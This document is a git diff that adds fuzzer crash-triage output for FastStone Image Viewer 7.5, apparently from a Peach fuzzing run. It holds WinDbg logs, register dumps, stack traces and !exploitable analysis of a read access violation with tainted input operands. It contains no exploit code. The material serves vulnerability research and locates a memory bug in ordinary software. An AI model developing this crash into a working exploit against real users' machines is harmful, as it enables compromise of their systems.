+Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xCB4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xCB4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(cb4.74c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e67b10 edx=00003879 esi=ffdd0010 edi=0f6c2fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.721343803397653600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272811000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-0.0596261 27.8754 3.51782e-008 58023.1 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f48130 07ec5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0032a000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0032a000 4a8e11c3 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b9 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0032a000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42935/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42935/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..cb630bc Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42935/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42944/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42944/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42944/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42944/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42944/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e696096 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42944/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42944/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42944/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..67708c8 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42944/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1A54: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1A54: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1a54.1474): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=03ffed2d ecx=07ec7b10 edx=00003879 esi=f3e30010 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 5.319505000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.95689e-016 -3.08892e+008 1.43673e+032 9.71226 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0028b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0028b000 7485bf4e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0028b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 